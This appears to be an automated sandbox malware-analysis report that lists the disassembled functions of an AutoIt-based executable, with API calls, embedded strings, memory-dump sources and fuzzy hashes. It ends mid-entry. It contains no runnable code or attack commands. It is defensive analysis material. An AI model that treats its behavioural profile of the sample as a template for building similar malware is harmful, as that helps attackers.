Instruction Fuzzy Hash: E2B2A370608741DFD724DF24C885BAAB7E4BF84304F14892FE54D9B2A1C7B9E855CB8A

Function 00499155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00498F5F: __time64.LIBCMT ref: 00498F69

Part of subcall function 00434EE5: _fseek.LIBCMT ref: 00434EFD

__wsplitpath.LIBCMT ref: 00499234

Part of subcall function 004540FB: __wsplitpath_helper.LIBCMT ref: 0045413B

_wcscpy.LIBCMT ref: 00499247
_wcscat.LIBCMT ref: 0049925A
__wsplitpath.LIBCMT ref: 0049927F
_wcscat.LIBCMT ref: 00499295
_wcscat.LIBCMT ref: 004992A8

Part of subcall function 00498FA5: _memmove.LIBCMT ref: 00498FDE
Part of subcall function 00498FA5: _memmove.LIBCMT ref: 00498FED

_wcscmp.LIBCMT ref: 004991EF

Part of subcall function 00499734: _wcscmp.LIBCMT ref: 00499824
Part of subcall function 00499734: _wcscmp.LIBCMT ref: 00499837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00499452
_wcsncpy.LIBCMT ref: 004994C5
DeleteFileW.KERNEL32(?,?), ref: 004994FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00499511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00499522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00499534

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 0cae97fe31b6b839396d8498f11c46e5d892fb0ddb46f5c89bba4e25b8bf2d43
Instruction ID: 5b1ad0255ef311961927bb43edc1ac0126f407b63f101533955e2eb12c04584a
Opcode Fuzzy Hash: 0cae97fe31b6b839396d8498f11c46e5d892fb0ddb46f5c89bba4e25b8bf2d43
Instruction Fuzzy Hash: 5EC14FB1D00219ABDF11DF95CC85ADEBBB8EF49314F0040ABF609E6141DB349E448F69

Function 00433015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00433074
RegisterClassExW.USER32(00000030), ref: 0043309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004330AF
InitCommonControlsEx.COMCTL32(?), ref: 004330CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 004330DC
LoadIconW.USER32(000000A9), ref: 004330F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00433101

Strings

AutoIt v3 GUI, xrefs: 00433090
+, xrefs: 0043305D
TaskbarCreated, xrefs: 004330A4
0, xrefs: 00433056

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 807c4d888c9f6e1e84f07b5e0a7873e895a4a998b382bbf671b8326816f60460
Instruction ID: 0d33cec71e7d395dc7959dbbce282e4fe3d693ab43bf20869e17996868c8262a
Opcode Fuzzy Hash: 807c4d888c9f6e1e84f07b5e0a7873e895a4a998b382bbf671b8326816f60460
Instruction Fuzzy Hash: F0315871805348AFDB10DFA4EC84AEABFF4FB09310F1442AEE584E62A1D7B50565CF99

Function 00433041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00433074
RegisterClassExW.USER32(00000030), ref: 0043309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004330AF
InitCommonControlsEx.COMCTL32(?), ref: 004330CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 004330DC
LoadIconW.USER32(000000A9), ref: 004330F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00433101

Strings

AutoIt v3 GUI, xrefs: 00433090
+, xrefs: 0043305D
TaskbarCreated, xrefs: 004330A4
0, xrefs: 00433056

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 86b9bc8b144f8a9b3923a93e29c2db4410a18c2b66e17fa730d282c3f823bd9b
Instruction ID: 1732837aa14026671a25cf4894b9707b70cc6691c6fc46b2a0aac02e6b762c7a
Opcode Fuzzy Hash: 86b9bc8b144f8a9b3923a93e29c2db4410a18c2b66e17fa730d282c3f823bd9b
Instruction Fuzzy Hash: 5821F9B1910618AFDB00EF94EC48BDDBBF4FB08710F10427AF614A62A0D7B54564CFA9

Function 00433766 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/ErrorStdOut, xrefs: 0043387D
/AutoIt3ExecuteLine, xrefs: 004338A7
P@, xrefs: 0043379D, 004337E4, 004338ED, 0046D1F2, 0046D244
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 004337AE
/AutoIt3OutputDebug, xrefs: 00433892
CMDLINE, xrefs: 00433822
RO, xrefs: 0046D213
CMDLINERAW, xrefs: 004337FB
/AutoIt3ExecuteScript, xrefs: 004338BC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$P@$RO
API String ID: 1825951767-2495368042
Opcode ID: 599479a33ca9c903d392e4c732ca86db5d5b12831ff7dce3494ce5467e094e3a
Instruction ID: 7dd5fe227b8beb4ee2597658067fcee7e5ed6e6896fa75398501987325c71428
Opcode Fuzzy Hash: 599479a33ca9c903d392e4c732ca86db5d5b12831ff7dce3494ce5467e094e3a
Instruction Fuzzy Hash: F5A16B71D0021DAACB04EFA5DC92AEEB778BF19305F00152FF415A7191EF786A08CB69

Function 0043708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00434706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,P@,?,004337AE,?), ref: 00434724

Part of subcall function 0045050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00437165), ref: 0045052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 004371A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0046E8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0046E909
RegCloseKey.ADVAPI32(?), ref: 0046E947
_wcscat.LIBCMT ref: 0046E9A0

Strings

\, xrefs: 0046E9C3
\Include\, xrefs: 00437165
Software\AutoIt v3\AutoIt, xrefs: 0043719E
Include, xrefs: 0046E8BF, 0046E900

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: e589d8ca21422a09ab27b10ad913cbf7f8aee66c5a29f6727e057bd56d2d7a57
Instruction ID: 9d61f5cc8490c0f0252218b90ece18ce06f629e4d2c2607ba00ce7deb0856a77
Opcode Fuzzy Hash: e589d8ca21422a09ab27b10ad913cbf7f8aee66c5a29f6727e057bd56d2d7a57
Instruction Fuzzy Hash: AC716EB15083019EC310EF2AEC419ABBBE8FF58314F42453FF485872A1EB759948CB5A

Function 00433633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 004336D2
KillTimer.USER32(?,00000001), ref: 004336FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0043371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0043372A
CreatePopupMenu.USER32 ref: 0043373E
PostQuitMessage.USER32(00000000), ref: 0043374D

Strings

TaskbarCreated, xrefs: 00433725
%L, xrefs: 0046D081, 0046D0CF

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%L
API String ID: 129472671-928395405
Opcode ID: 03b2d50b9c0327c5d05fee9e5f5b21530a941353bfb529305d0745d74df9d05d
Instruction ID: 6222010d553096697b79701babbc3ac5d0e23902ac4890275c8ce34cc246111b
Opcode Fuzzy Hash: 03b2d50b9c0327c5d05fee9e5f5b21530a941353bfb529305d0745d74df9d05d
Instruction Fuzzy Hash: E6411BB1A00505BFDB246F78DC0AB7A3B54E708342F10523BF601963A1DB6C9E65976E

Function 00433A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00433A50
LoadCursorW.USER32(00000000,00007F00), ref: 00433A5F
LoadIconW.USER32(00000063), ref: 00433A76
LoadIconW.USER32(000000A4), ref: 00433A88
LoadIconW.USER32(000000A2), ref: 00433A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00433AC0
RegisterClassExW.USER32(?), ref: 00433B16

Part of subcall function 00433041: GetSysColorBrush.USER32(0000000F), ref: 00433074
Part of subcall function 00433041: RegisterClassExW.USER32(00000030), ref: 0043309E
Part of subcall function 00433041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004330AF
Part of subcall function 00433041: InitCommonControlsEx.COMCTL32(?), ref: 004330CC
Part of subcall function 00433041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 004330DC
Part of subcall function 00433041: LoadIconW.USER32(000000A9), ref: 004330F2
Part of subcall function 00433041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00433101

Strings

AutoIt v3, xrefs: 00433B05
0, xrefs: 00433AF4
#, xrefs: 00433AFB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: ebc0d9cf38fd9959ade260f377e600ef81beda1e0fbe46c91e57aa527d15d8f6
Instruction ID: 7e6b806a180d9ec01bef45fcd37491090d89392b3924435fcb9c426f75ced8cf
Opcode Fuzzy Hash: ebc0d9cf38fd9959ade260f377e600ef81beda1e0fbe46c91e57aa527d15d8f6
Instruction Fuzzy Hash: B3214B74D00704AFEB10DFA4EC09BAD7FB0FB08725F1142BAE604A62A1D7B55664CF98

Function 0043F76F Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00450162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00450193
Part of subcall function 00450162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0045019B
Part of subcall function 00450162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 004501A6
Part of subcall function 00450162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 004501B1
Part of subcall function 00450162: MapVirtualKeyW.USER32(00000011,00000000), ref: 004501B9
Part of subcall function 00450162: MapVirtualKeyW.USER32(00000012,00000000), ref: 004501C1

Part of subcall function 004460F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0043F930), ref: 00446154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0043F9CD
OleInitialize.OLE32(00000000), ref: 0043FA4A
CloseHandle.KERNEL32(00000000), ref: 004745C8

Strings

SO, xrefs: 0043F7EB
<WO, xrefs: 0043F930
, xrefs: 0043F84C
, xrefs: 0043F8FE
%L, xrefs: 0043F796, 0043F7A8, 0043F96E, 0043FA51
\TO, xrefs: 0043F7F7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: $<WO$\TO$%L$SO$
API String ID: 1986988660-1004310443
Opcode ID: 8b226273d88f2e68c6709d06bc4bf425ea532b7612d50aa5b2155952f3c4f22b
Instruction ID: 7fe029b97eeea0af872e1f784dd930d818ed35070a2e202a9a5b93ed50041eb6
Opcode Fuzzy Hash: 8b226273d88f2e68c6709d06bc4bf425ea532b7612d50aa5b2155952f3c4f22b
Instruction Fuzzy Hash: 6C81ABB0901E409FD384EF2AA9457397BE5EB8830AB51813F9719CB272E77844A4CF1D

Function 00EEA518 Relevance: 10.7, APIs: 7, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00EEA55D

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: eb584f4a57c68eb24893e8662cdde2a6850f072ba7aa360e4ef334368506de38
Instruction ID: 31bdb78bd7b7ea462c50f912727bd7c343202daea386633e13774dcda2b067a2
Opcode Fuzzy Hash: eb584f4a57c68eb24893e8662cdde2a6850f072ba7aa360e4ef334368506de38
Instruction Fuzzy Hash: 90513A75A50249FBEF20DFA4CC49FDE7B78AF48700F148518F60AFB180DA74AA449B64

Function 004339D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00433A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00433A24
ShowWindow.USER32(00000000,?,?), ref: 00433A38
ShowWindow.USER32(00000000,?,?), ref: 00433A41

Strings

AutoIt v3, xrefs: 004339FB, 00433A00, 00433A01
edit, xrefs: 00433A1E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 33b270fbb94111eb4d132423673b37cad156b1ff3bbfb15398d58c67e3840c7e
Instruction ID: 71d4d4ca74fa2381b3ad87fce2d46482f59a67401a953560a5379dd2f10d2e71
Opcode Fuzzy Hash: 33b270fbb94111eb4d132423673b37cad156b1ff3bbfb15398d58c67e3840c7e
Instruction Fuzzy Hash: 19F03A705002907EEA305B2B6C0CE7B2E7DD7C6F50B1242BABA04E2170C6650820CEB9

Function 0049955B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00434EE5: _fseek.LIBCMT ref: 00434EFD

Part of subcall function 00499734: _wcscmp.LIBCMT ref: 00499824
Part of subcall function 00499734: _wcscmp.LIBCMT ref: 00499837

_free.LIBCMT ref: 004996A2
_free.LIBCMT ref: 004996A9
_free.LIBCMT ref: 00499714

Part of subcall function 00452D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00459A24), ref: 00452D69
Part of subcall function 00452D55: GetLastError.KERNEL32(00000000,?,00459A24), ref: 00452D7B

_free.LIBCMT ref: 0049971C

Strings

P@, xrefs: 00499565

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: P@
API String ID: 1552873950-286689840
Opcode ID: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction ID: 44e0b27076a87e2e41ab8428d5fc19437e4c12069863d37d29a993e30942b44b
Opcode Fuzzy Hash: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction Fuzzy Hash: C4514EB1904219AFDF249FA5DC81AAEBB79EF48304F1404AFF609A3241DB755E84CF58

Function 0043407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0046D3D7

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

_memset.LIBCMT ref: 004340FC
_wcscpy.LIBCMT ref: 00434150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00434160

Strings

Line: , xrefs: 0046D400

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 6d59ee2d36c021d9925bd3668daf1a0fe69d5e2e3579de8d1aaceaa22d0db240
Instruction ID: ab07bed2cfd580a7d32a9db5ee3c45df15f6233e176b5cdabeab106ec9a0fae0
Opcode Fuzzy Hash: 6d59ee2d36c021d9925bd3668daf1a0fe69d5e2e3579de8d1aaceaa22d0db240
Instruction Fuzzy Hash: 6C31D271108705ABD730EB61DC45BEB77E8AF48308F10562FF68592191DB78A658CB8F

Function 0045541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045547B
_memcpy_s.LIBCMT ref: 004554ED
__read_nolock.LIBCMT ref: 0045554B
__filbuf.LIBCMT ref: 0045556E
_memset.LIBCMT ref: 004555B2

Part of subcall function 00458B28: __getptd_noexit.LIBCMT ref: 00458B28

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: b18c6f00eb23dd8b5e2ed11aaa4ea8e60ec089dad47d86c1e1e2dc410515d365
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: 8C511A30A00B09EBCB148E65D85067F77B2AF41326F14872FFC25963C6E7789D588B49

Function 0043686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00434DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,P@,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00434E0F

_free.LIBCMT ref: 0046E263
_free.LIBCMT ref: 0046E2AA

Part of subcall function 00436A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00436BAD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 0046E039
Bad directive syntax error, xrefs: 0046E292

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 794d866666d97e3c7de7962cf00249e28922e150e0b8b6c15c707e92d8992a21
Instruction ID: 5d5c3430a25124b6d38ac48cf0dad262a8c56bbce00fc336ed8dccf5dca2bf26
Opcode Fuzzy Hash: 794d866666d97e3c7de7962cf00249e28922e150e0b8b6c15c707e92d8992a21
Instruction Fuzzy Hash: A091AF75900219AFCF04EFA6CC519EEB7B4FF09314F10446FE815AB2A1EB78A905CB59

Function 00EEBFD8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 164fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EEBEC8: Sleep.KERNELBASE(000001F4), ref: 00EEBED9

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EEC133

Strings

3226GSYH11BJJATB6N4O2X51QL, xrefs: 00EEC1B3, 00EEC1B6

Memory Dump Source

